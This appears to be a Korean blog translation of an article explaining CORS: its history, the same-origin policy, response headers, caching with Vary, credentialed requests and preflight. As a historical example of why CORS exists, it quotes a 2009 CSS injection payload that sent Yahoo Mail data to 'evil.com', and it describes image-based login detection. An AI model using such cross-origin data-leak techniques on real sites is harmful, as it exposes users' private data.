본문 바로가기

카테고리 없음

CORS에서 이기는 방법

 

How to win at CORS

The 'how' and 'why' of CORS, from start to finish.

jakearchibald.com

 

CORS(Cross-Origin Resource Sharing) 교차 출처 리소스 공유는 브라우저가 자원을 가져오는 방법에 대한 부분이기 때문에 어렵다. 이는 30여년 전 최초의 웹 브라우저에서 시작된 일련의 행위다. 그 이후로 기능을 추가하고, 기본 동작을 개선하고, 웹을 너무 많이 바꾸지 안는 선에서 과거의 실수를 덮어 나갔다.

 

CORS 없이 다른 도메인에 접근하기

브라우저는 거의 30년 동안 다른 사이트의 이미지를 포함할 수 있었다. 다른 사이트의 허락을 받을 필요 없이 그냥 할 수 있었다. 다른 사이트의 이미지뿐만 아니라 다른 자원을 가져오는 것도 가능했다.

 

<script src="…"></script>
<link rel="stylesheet" href="…" />
<iframe src="…"></iframe>
<video src="…"></video>
<audio src="…"></audio>

 

다음과 같은 API들은 다른 웹 사이트에 요청을 하고 다른 웹 사이트의 동의 없이 각각의 방식으로 응답을 처리할 수 있다. 

 

1994년에 이런 방식은 HTTP 쿠키의 등장으로 복잡해지기 시작했다. HTTP 쿠키는 TLS 클라이언트 인증서(서버 인증서와 혼동되지 말자)를 포함하고 HTTP 인증을 사용할 떄 인증 요청 헤더에 자동으로 들어가는 상태를 포함하는 인증 정보 집합의 일부가 되었다. 

 

서버는 요청을 보내더라도 그 인증 정보를 사용해서 특정 사용자의 상태 정보를 보관한다. 이런 동작은 트위터가 당신의 피드를 당신에게 보여주고 은행에서 당신 계좌를 보여주는 방식이다.

 

위의 방법 중 하나를 사용해서 다른 사이트의 콘텐츠를 요청하면 다른 사이트에 인증 정보가 함께 전송이 된다. 그리고 이 방법은 수년간 많은 보안 문제를 만들어 냈다. 

 

<img src="https://your-bank/your-profile/you.jpg" />

 

위 이미지가 로드되면 필자는 load 이벤트가 발생한다. 로드되지 않는다면 error 이벤트가 발생한다. 로그인 여부에 따라 이미지가 달라진다면 상대방의 정보를 얻을 수 있다. 또한 이미지의 높이와 너비를 읽을 수 있는데 사용자마다 차이가 있다면 더 많은 정보를 얻을 수 있다.

 

이런 방식은 많은 기능을 가진 CSS 같은 포맷을 이용해서 파싱 에러가 나지 않고도 상황을 더 악화시킬 수 있다.  2009년 야후 메일은 간단한 악용으로 취약하다는 점이 밝혀졌다. 공격자는');}를 포함한 제목을 유저에게 보내고 나면 이후에 {}html{background:url('//evil.com/:가 포함된 제목의 메일을 보낸다. 

 

…
<li class="email-subject">Hey {}html{background:url('//evil.com/?</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">Yo ');}</li>
…

 

위 구조는 사용자의 개인 데이터가 유효한 CSS 구문 분석 대상 사이에 끼어 있다. 그런 다음 사용자는 다음을 포함하는 페이지를 방문하도록 유도한다.

<link rel="stylesheet" href="https://m.yahoo.com/mail" />

해당 자원이 yahoo.com의 쿠키를 이용해 로드되면 CSS 파서는 미리 심어두었던 메일 제목을 구문 분석하여 개인정보를 evil.com에 보내게 된다.

 

위의 내용이 웹 디자인 상의 실수였음이 분명해졌기 때문에, 이제 더 이상 앞선 요청을 처리할 수 있는 API를 만들지 않는다. 그럼과 동시에, 지난 수십년간 최선을 다해 문제를 해결해왔다. 

 

-  다른 출처의 CSS는 이제 CSS Content-Type과 함께 전송해야 한다. 

- X-Content-Type-Options: nosniff 헤더를 사용해서 서버에게 올바른 Content-Type을 보내지 않는 한 CSS 또는 JS로 구문을 분석하지마라고 말할 수 있다. 

- 나중에 다른 출처에서 오는 HTML, JSON, XML(SVG 제외)와 같은 no-CORS 응답 유형도 보호하기 위해 nosniff 규칙이 확장되었다. 이런 보호를 CORB라고 부른다.

- 최근에는 사이트 B가 SameSite 쿠키 속성을 사용해서 쿠키의 전송 여부를 설정하지 않는 한 사이트 A에서 사이트 B로 요청과 함께 쿠키를 보내지 않는다. 쿠키가 없으면 사이트는 일반적으로 개인 데이터가 없는 '로그아웃'된 뷰를 보여주게 된다. 

- Firefox와 Safari는 한 단계 더 나아가 사이트를 완전히 격리하려고 노력하지만, 현재 두 브라우저 간의 작동 방식은 상당히 다르다.

 

동일 출처 정책

1995년 넷스케이프 2는 라이브 스크립트와 HTML 프레임이라는 두가지 놀라운 새로운 기능을 선보였다. 프레임을 사용하면 한 페이지를 다른 페이지에 삽입할 수 있으며, 라이브 스크립트는 두 페이지와 상호 작용할 수 있다.

 

넷스케이프는 이 기능이 보안 문제를 유발할 수 있다는 것을 깨달았다. 은행 페이지의 DOM을 읽는 페이지를 원하는 사람은 없기 때문에, 넷스케이프는 두 페이지가 동일한 출처(Origin)을 가지고 있을 경우에만 크로스 프레임 스크립팅을 허용하기로 결정했다.

 

https://jakearchibald.com:443/2021/blah/?foo#bar
|                            |
----------The origin----------

 

이 아이디어는 같은 출처의 사이트인 경우 소유자가 같을 가능성이 높다는 취지였다. 다 그렇다는 것은 아니지만 많은 사이트들이 http://example.com/~jakearchbald/와 같은 URL로 콘텐츠를 나누기 때문에 다음과 같은 기준을 만들어야 했다.

 

그 시점부터, 보장받은 리소스 기능들은 동일 출처로 제한되었다. 여기에는 new ActiveXObject('Microsoft.XMLHTTP')가 포함되었다. 1999년 IE5에 처음 등장했으며 나중에 웹 표준 XMLHttpRequest가 되었다.

 

Origins(출처) vs Sites(사이트)

일부 웹 기능들은 출처를 다루지 않고 '사이트'를 다룬다. 예를 들면 https://help.yourbank.com와 https://profile.yourbank.com은 다른 출처를 가진다. 하지만 사이트는 같다. yourbank.com의 모든 하위 도메인으로 전송되는 쿠키를 만들 수 있으므로 쿠키들은 사이트 레벨에서 동작하는 일반적인 기능이다.

 

하지만 브라우저는 https://help.yourbank.comhttps://profile.yourbank.com이 같은 사이트의 일부라고 알고, https://yourbank.co.uk와 https://jakearchibald.co.uk는 어떻게 다른 사이트라고 알 수 있을까? 필자 말은 이 주소들은 모두 점으로 분리된 세부분을 가지고 있다는 것이다. 정답은 각 브라우저에 있는 휴리스틱(역자 주: 경험에 기반하여 문제를 해결)의 집합이다. 2007년 모질라는 그들의 휴리스틱을 목록으로 바꾸었다. 이 목록은 현재 공개 접미사 목록으로 알려진 별도의 커뮤니티 프로젝트로 유지 관리되며 모든 브라우저와 다른 많은 프로젝트에서 사용된다. 

 

만약 누군가가 UI 힌트 없이 URL의 보안 의미를 이해한다고 말한다면 9000개 이상의 공개 접미사 목록을 암기하고 있는지 확인해보자.

 

따라서 https://app.jakearchibald.com와 https://other-app.jakearchibald.com는 같은 사이트의 일부이지만 https://app.glitch.me와 https://other-app.glitch.me는 다른 사이트이다. glitch.me은 공개 접미사 목록에 있는 반면, jakearchibald.com는 없기 때문이다. 다른 사람들이 glitch.me의 서브도메인을 '소유'하는 반면, 필자는 jakearchibald.com의 모든 서브도메인을 소유하기 때문에 이것은 틀린 것이 아니다.

 

다시 열기

다른 원본의 리소스에 액세스 할 수 있는 <img>와 같은 API가 있지만 응답으로 할 수 있는 것은 제한적이다. 그리고 우리는 동일 출처에서만 작동하는 프레임간 스크립팅(cross-frame scripting)과 XMLHttpRequest와 같은 보다 강력한 API가 있다. 

 

자격 증명 없이 요청이 전송되도록 옵트인을 제공한다고 가정하자. 이에 대한 대응은 '로그아웃' 뷰가 될 것이므로 사적인 데이터는 전혀 담기지 않고 걱정 없이 공개될 수 있을 것이다. 

 

불행히도 브라우저 자격 증명 이외의 것을 사용하여 자체적으로 '보안'하는 HTTP 엔드 포인트가 많이 있다. 많은 회사의 인트라넷은 특정 네트워크에만 엑세스 할 수 있기 때문에 '비공개'로 간주된다. 일부 라우터 및 IoT 장치는 홈 네트워크(IoT의 's'는 보안을 의미한다.)로 제한되기 때문에 선의를 가진 살마만 엑세스 할 수 있다고 가정한다. 일부 웹 사이트는 접속하는 IP 주소에 따라 다른 콘텐츠를 제공한다. 

 

그러면, 만약 당신의 집에서 필자의 웹사이트를 방문한다고 가정하면 일반적인 호스트 이름과 IP 주소에 대한 요청을 시작한다. 브라우저 자격 증명 없이 안전하지 않은 IoT 장치를 찾고 기본 암호를 사용하는 라우터를 찾는 것은 당신의 삶을 비참하게 만들 수 있다.

 

자격 증명을 제거하는 것도 해결책의 일부이지만 그것만으로는 충분하지 않다. 리소스에 개인 데이터가 포함되어 있는지 알 방법이 없으므로 리소스가 "이봐, 괜찮아, 다른 사이트에서 내 콘텐츠를 읽도록 해"라고 선언할 수 잇는 방법이 필요하다. 

 

리소스 내 옵트인?

요청 횟수를 줄이기 위해서 리소스 자체 내에 권한에 관한 옵트인을 둘 수 있다. 이 기술을 2005년 W3C Voice Browser Working Group에서 XML 프로세싱 명령어를 사용하여 제안했다. 

 

<?access-control allow="*.example.com" deny="*.visitors.example.com"?>

 

그러나 자원이 XML이 아니라면 어떻게 해야할까? 그렇다면, 옵트인을 정의할 다른 포맷이 필요할 것이다. 이것은 프레임 대 프레임 통신을 위한 목표이다. 양쪽 모두 postMessage를 사용하여 참여하며, 서로 소통하고 싶은 발신지를 선언할 수 있다. 하지만 리소스의 원시 바이트에 액세스하는 것은 어떨까? 이러한 경우 옵트인을 위해 리소스 별 메타데이터를 사용하는 것은 의미가 없다. 또한 HTTP는 이미 리소스 메타데이터를 위한 공간을 확보하고 있다.

HTTP 헤더 옵트인

Voice Browser Working Group의 제안은 HTTP 헤더를 사용하여 일반화되었으며 Cross-Origin Resource Sharing(교차 출처 리소스 공유)또는 CORS가 되었다. 

 

Access-Control-Allow-Origin: *

 

CORS 요청하기

fetch() 와 같은 대부분의 최신 웹 기능은 기본적으로 CORS가 필요하다. 단, <link rel="preload">와 같이 CORS를 사용하지 않는 이전 기능을 지원하도록 설계된 최신 기능은 예외다. 

 

불행하게도 CORS를 필요로 하는지 그렇지 않은지 구분하기 쉬운 방법은 없다. 다음 예제를 보자. 

<!-- CORS 요청이 아님 -->
<script src="https://example.com/script.js"></script>
<!-- CORS 요청 -->
<script type="module" src="https://example.com/script.js"></script>

가장 좋은 방법은 우선 시도해 본 뒤, 네트워크 DevTools를 살펴보는 것이다. Chrome과 Firefox에서 교차 출처 요청은 Sec-Fetch-Mode 헤더와 함께 전송되어 CORS 요청인지 여부를 알려준다. 

 

위 예제에서 우리가 요청을 보내면 화면에 서버가 수신한 헤더가 기록된다. Chrome 또는 Firefox를 사용하는 경우 Sec-Fetch-Mode가 다른 Sec-헤더와 함께 cors로 설정된 것을 볼 수 있다. 그러나 no-CORS를 요청하면 Sec-Fetch-Mode는 no-cors가 된다. 

 

HTML 요소로 인해 no-CORS 가져오기가 발생하는 경우 corssorigin 속성을 사용하여 CORS 요청으로 전환할 수 있다.

<img crossorigin src="…" />
<script crossorigin src="…"></script>
<link crossorigin rel="stylesheet" href="…" />
<link crossorigin rel="preload" as="font" href="…" />

 

이러한 항목을 CORS로 전환하면 교차 출처 리소스를 가지고 더 많은 것을 할 수 있다.

 

- <img>를 <canvas>에 칠하고 나서 픽셀을 읽을 수 있다.

- 하위 리소스 무결성과 같은 추가 기능을 사용할 수 있다. 

- link.sheet를 통해 구문 분석된 스타일 시트를 탐색할 수 있다.

 

<link rel="preload">의 경우 최종 요청에서도 CORS를 사용하는 경우 CORS를 사용하는지 확인해야 한다. 그렇지 않고 사전 로드 캐시에서 일치하지 않으면 결국 두 번의 요청이 발생한다. 

 

CORS 요청

일반적으로 교차 출처 CORS 요청은 자격 증명 없이 이뤄진다. 따라서 쿠키, 클라이언트 인증서, 자동 인증(Authorization) 헤더와 응답에 대한 Set-Cookie가 무시된다. 그러나 동일 출처 요청에는 자격 증명이 포함된다. CORS가 개발될 무렵, 브라우저 확장 프로그램과 '인터넷 보안' 소프트웨어에 의해 Referer 헤더가 자주 스푸핑 되거나 제거되었기 때문에 한 페이지의 출처를 제공하는 Origin이라는 새로운 헤더가 만들어졌다. Origin은 일반적으로 유용하기 때문에 웹 소켓이나 POST 요청과 같은 다른 유형의 요청에 추가되었다. 브라우저 제공사는 일반 GET 요청에도 추가하려고 했지만 Origin 헤더의 존재가 CORS 요청을 의미한다고 가정하는 사이트들이 언젠가는 손상될 수 있어서 하지 않았다. 요청할 때 서버가 수신한 헤더를 Origin 포함해서 기록한다. no-CORS GET 요청을 하면 Origin 헤더가 전송되지 않지만 no-CORS POST 요청을 하면 다시 표시된다.

CORS 응답

CORS 검사를 통과하고 다른 출처에게 응답에 대한 액세스 권한을 부여하려면 응답에 다음 헤더가 포함되어야 한다.

Access-Control-Allow-Origin: *

 

*는 요청의 Origin 헤더 값으로 변경된다. 대신 * 은 모든 요청이 자격 증명 없이 전송될 경우 모든 요청 출처에서 작동한다. 모든 헤더와 마찬가지로 헤더 이름은 대소문자를 구분하지 않지만 값은 대소문자를 구분한다. 

 

유효한 값은 다른 출처에게 응답 값과 다음 헤더의 하위 집합에 대한 액세스 권한을 제공한다.

- Cache-Control

- Content-Language

- Content-Type

- Expires

- Last-Modified

- Pragma

응답에는 다른 헤더인 Access-Control-Expose-Headers가 포함되어 추가 헤더를 표시할 수 있다.

Access-Control-Expose-Headers: Custom-Header-1, Custom-Header-2

헤더 이름은 대소문자를 구분하지 않는다. 또한 다음을 사용할 수 있다. 

 

Access-Control-Expose-Headers: *

 

위 값은 자격 증명 없이 요청하는 경우 응답에 모든 헤더를 노출(표시)한다. 하지만 응답에 Set-Cookie 및 Set-Cookie2 헤더(더 이상 사용되지 않는 Set-Cookie에 대한 실패에 대한 후속 조치 헤더)는 사이트 간 쿠키 노출을 방지하기 위해 노출되지 않는다. 

CORS와 캐싱

CORS 요청도 캐싱이 된다. Firefox는 요청에 자격 증명이 있는지 여부에 따라 HTTP 캐시를 분할하지만 CDN 캐시는 여전히 걱정해야 한다. 

 

캐시 수명이 긴 리소스의 경우 콘텐츠가 변경될 때 파일 이름을 변경하는 데 익숙할 것이다. 그래서 사용자는 새 콘텐츠를 선택한다. 헤더 변경에 대해서도 마찬가지이다. 캐시 수명이 긴 리소스에 Access-Control-Allow-Origin: *을 추가할 경우 헤더 없이 캐시된 버전을 재사용하지 않고 클라이언트가 서버의 새 헤더를 가져오도록 URL을 변경해야 한다 .

 

쿠키와 함께 요청을 받으면 리소스에 개인 데이터가 포함되어 있지만 쿠키가 없어도 되는 데이터만 노출하려면, 요청에 Cookie 헤더가 없는 경우에만 응답에 Access-Control-Allow-Origin: *를 포함하는 것이 좋다. 이렇게 하면 CDN 또는 브라우저 캐시가 개인 데이터를 포함하는 응답을 재사용하는 의도치 않은 상황을 방지할 수 있다.

 

1. 브라우저가 CORS 없이 리소스를 가져오므로 요청에 쿠키가 포함된다. 

2. 개인 데이터를 포함하는 응답은 캐시로 들어간다.

3. 브라우저는 동일한 리소스에 대한 CORS 요청을 하고 쿠키를 포함하지 않는다.

4. 캐시가 이전과 동일한 응답을 반환한다.

 

이 경우 브라우저는 두 번째 요청에서 쿠키를 보내지 않았지만 이전 요청과 함께 보낸 일부 쿠키로 인해 개인 데이터가 포함된 응답을 받는다. 개인정보를 드러내면서까지 CORS 검사를 통과하는 것을 원치 않을 것이다. 

 

그러나 위의 '버그'는 중요한 다음 헤더가 누락된 경우에만 발생한다.

Vary: Cookie

 

즉, "Cookie 헤더의 상태가 원래 요청과 일치하는 경우에만 캐시 된 버전의 서비스를 제공할 수 있다."의 의미이다. 요청에 Cookie 헤더가 있는지 여부에 관계없이 URL에 대한 모든 응답에 해당 헤더를 포함해야 한다. 

 

또한 일부 서비스는 Origin 헤더의 존재를 대략적인 신호로 사용하여 요청이 CORS 요청처럼 보이는지 여부에 따라 조건부로 Access-Control-Allow-Origin: *를 추가하는 것을 보았다. 이 작업은 불필요하게 복잡하다. 만약 여러분이 이 방식을 택하기로 결정했다면, 올바른 Vary 헤더를 사용해야 한다는 것을 잊지말자.

Vary: Origin

 

여기서 인기있는 클라우드 스토리지 호스트가 이런 잘못을 하고 있다. 호스트들은 조건부로 CORS 헤더를 추가하지만 Vary 헤더는 포함하지 않는다. 헤더의 디폴트 값을 믿지 말고, 실제로 올바르게 동작하고 있는지 확인해야 한다. Vary는 조건으로 사용할 많은 헤더를 나열할 수 있으므로 Origin 및 Cookie 헤더의 존재에 따라 Access-Control-Allow-Origin: *를 추가할 경우 다음을 사용할 수 있다. 

Vary: Origin, Cookie

 

CORS를 통해 자원을 노출해도 안전한가?

리소스에 개인 데이터가 포함되어 있지 않으면 Access-Control-Allow-Origin: *를 추가하는 것이 안전하다. 리소스에 쿠키에 따라 개인 데이터가 포함되어 있는 경우 Vary: Cookie 헤더도 포함되어 있으면 Access-Control-Allow-Origin: *를 추가하는 것이 안전하다.

 

마지막으로 데이터 보안에 있어 발신자의 IP 주소나, '내부' 네트워크로 제한되어 있는 서버라고 가정하는 경우에는 Access-Control-Allow-Origin: *를 사용하는 것이 전혀 안전하지 않다. 게다가 제발 그러지 말자! 그 데이터는 실제로 안전하지 않다. 플랫폼 앱은 그 데이터를 입수하여 그들이 원하는 곳으로 보낼 수 있을 것이다. 

 

자격 증명을 추가하다

교차 출처인 CORS 요청은 기본적으로 자격 증명 없이 이루어진다. 그러나 다양한 API를 통해 자격 증명을 다시 추가할 수 있다. 

 

fetch API를 사용하면 다음과 같다.

const response = await fetch(url, {
  credentials: 'include',
});

 

또는 HTML 요소에서는 다음과 같이 추가할 수 있다.

<img crossorigin="use-credentials" src="…" />

하지만, 이 방법은 더 강한 옵트인을 만든다. 따라서 응답에는 반드시 다음이 포함되어야 한다.

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://jakearchibald.com
Vary: Cookie, Origin

CORS 요청에 자격 증명이 포함된 경우에 응답에 Access-Control-Allow-Credentials: true 헤더가 포함되어야 하며 엑세스 Access-Control-Allow-Origin 값은 요청의 Origin 헤더(요청에 자격 증명이 있는 경우*는 허용되지 않은 값)로 반영해야 한다. 

 

개인 데이터를 노출하는 것은 위험하기 때문에 이 옵트인은 강력하다.그리고 당신이 정말로 신뢰하는 출처에만 이루어져야 한다. 

 

Firefox와 Safari에서 볼 수 있는 격리처럼 쿠키에 대한 same-site(동일한 사이트) 규칙이 여전히 적용된다. 하지만 이러한 것들은 cross-origin(교차 출처)가 아닌 cross-site(교차 사이트)에서만 효력을 발휘한다.

 

응답을 캐시할 수 있는 경우 Vary 헤더를 사용하는 것이 중요하다. 그리고 브라우저뿐만 아니라 CDN 같은 중간적인 것들도 마찬가지이다. Vary를 사용하여 브라우저 및 중간자에게 특정 요청 헤더에 따라 응답이 다르다는 것을 알린다. 그렇지 않으면 사용자가 잘못된 Access-Control-Allow-Origin 값을 가진 응답을 받게 될 수 있다. 

일반적이지 않은 요청과 사전 검토

지금까지 응답은 데이터를 노출할지 말지를 선택해왔다. 모든 요청은 안전한 것으로 가정했다. 왜냐하면 요청은 특별한 일을 하지 않고 있기 때문이다.

fetch(url, { credentials: 'include' });

위의 내용은 특이할 것이 없는데, 그 이유는 요청이 이미 <img>가 할 수 있는 것과 매우 유사하기 때문이다.

fetch(url, {
  method: 'POST',
  body: formData,
});

위의 내용도 특이한 점이 없는데 요청은 이미 <form>이 할 수 있는 것과 매우 유사하기 때문이다. 

 

fetch(url, {
  method: 'wibbley-wobbley',
  credentials: 'include',
  headers: {
    fancy: 'headers',
    'here-we': 'go',
  },
});

위 내용은 충분히 일반적이지 않은 요청이다. 

 

일반적이지 않다로 간주되는 것은 꽤 복잡하지만, 높은 수준에서, 만약 그것이 다른 브라우저 API들이 일반적으로 하지 않는 종류의 요청이라면, 그것은 이례적이다. 더 낮은 수준에서 요청 메서드가 GET, HEAD 또는 POST가 아니거나 안전한 목록의 일부가 아닌 헤더 또는 헤더 값을 포함하는 경우 일반적이지 않은 요청으로 간주된다. 

 

특이하게 요청하려고 하면 브라우저가 먼저 다른 출처에게 보내도 괜찮은지 물어본다. 이 과정을 프리플라이트(preflight)라고 한다. 

Preflight 요청

기본 요청을 하기 전에 브라우저는 Options 메서드와 헤더로 대상 URL에 프리플라이트 요청을 한다. 그리고 헤더들은 다음과 같이 보내진다.

Access-Control-Request-Method: wibbley-wobbley
Access-Control-Request-Headers: fancy, here-we

- Access-Control-Request-Method: 기본 요청이 사용할 HTTP 메서드, 이것은 요청 방법이 일반적이지 않더라도 포함되어 있다.

- Access-Control-Request-Headers: 기본 요청이 사용할 일반적이지 않은 헤더입니다. 일반적이지 않은 헤더가 없으면 이 헤더는 전송되지 않습니다. 

 

예비 요청에는 자격 증명이 포함되지 않는다.

Preflight 응답

서버는 다음과 같은 헤더를 사용하여 기본 요청이 적합한지 여부를 나타낸다. 

Access-Control-Max-Age: 600
Access-Control-Allow-Methods: wibbley-wobbley
Access-Control-Allow-Headers: fancy, here-we

- Access-Control-Max-Age: 이 URL에 대한 추가 프리플라이트가 필요하지 않도록 이 프리플라이트 응답을 캐시할 초 단위 시간이다. 기본값은 5초이다. 일부 브라우저에는 이에 대한 상한선이 있다. Chrome의 경우 10분, Firefox의 경우 24시간이다.

- Access-Control-Allow-Methods: 일반적이지 않은 요청 방법을 허용한다. 쉼표로 구분된 목록일 수 있으며 값은 대소문자를 구분한다. 기본 요청이 자격 증명 없이 전송될 경우 (거의 )모든 메서드를 허용하기 위해 *가 될 수 있다. CONNECT, TRACE, 또는 TRACKE는 보안상의 이유로 금지된 목록에 있으므로 허용할 수 없다. 

- Access-Control-Allow-Headers: 일반적이지 않은 요청 헤더를 허용한다. 쉼표로 구분된 목록일 수 있으며 헤더 이름은 대소문자를 구분하지 않으므로 값은 대소문자를 구분하지 않는다. 기본 요청을 자격 증명 없이 보내려는 경우, 금지된 헤더 이름에 없는 헤더를 허용하기 위해 *일 수 있다. 

 

🔥💀금지된 헤더 이름💀🔥의 헤더는 보안상의 이유로 브라우저의 제어에 남아 있어야 하는 헤더이다. 이런 금지된 헤더 목록이 포함된다면 자동으로(그리고 조용하게) CORS 요청 및 Access-Control-Allow-Headers에서 제거된다.

또한 프리플라이트 응답은 정기적인 CORS 검사를 통과해야 하므로 기본 요청이 자격 증명과 함께 전송되려면 Access-Control-Allow-Origin 및 Access-Control-Allow-Credentials: true 헤더가 필요하며 상태 코드는 200-299 사이여야 한다.

원하는 요청 방법이 허용되고 모든 의도된 헤더가 허용되면 기본 요청이 진행된다.

아, 그리고 프리플라이트 요청은 실제 요청을 해도 되는지에 대한 승인만 진행한다. 최종 원하는 응답은 또한 CORS 검사를 통과해야 한다.

상태 코드 제한은 약간의 오해를 만든다. /artists/Pip-Blom과 같은 API가 있는 경우 'Pip Blom'이 데이터베이스에 없으면 404를 반환할 수 있다. 404 코드(및 응답 본문)가 표시되기를 원하기 때문에 클라이언트는 다른 종류의 서버 오류가 아닌 요청 했던 것이 '찾을 수 없다'라는 것을 알 수 있다. 그러나 만약 요청이 프리플라이트 요청을 필요로 한다면, 프리플라이트 요청은 최종 응답이 404가 되더라도 200-299 코드를 반환해야 한다.

 

정리

- 간단한 요청: 프리플라이트 요청이 필요하지 않다.

- 문제가 발생하는 일반적이지 않은 요청 헤더: 프리플라이트를 요청하고 서버는 이를 받아들이지 않는다.

- 문제가 발생하지 않는 일반적이지 않은 요청 헤더: 허락된 헤더를 포함한 프리플라이트 요청을 했기 때문에 실제 요청으로 넘어간다.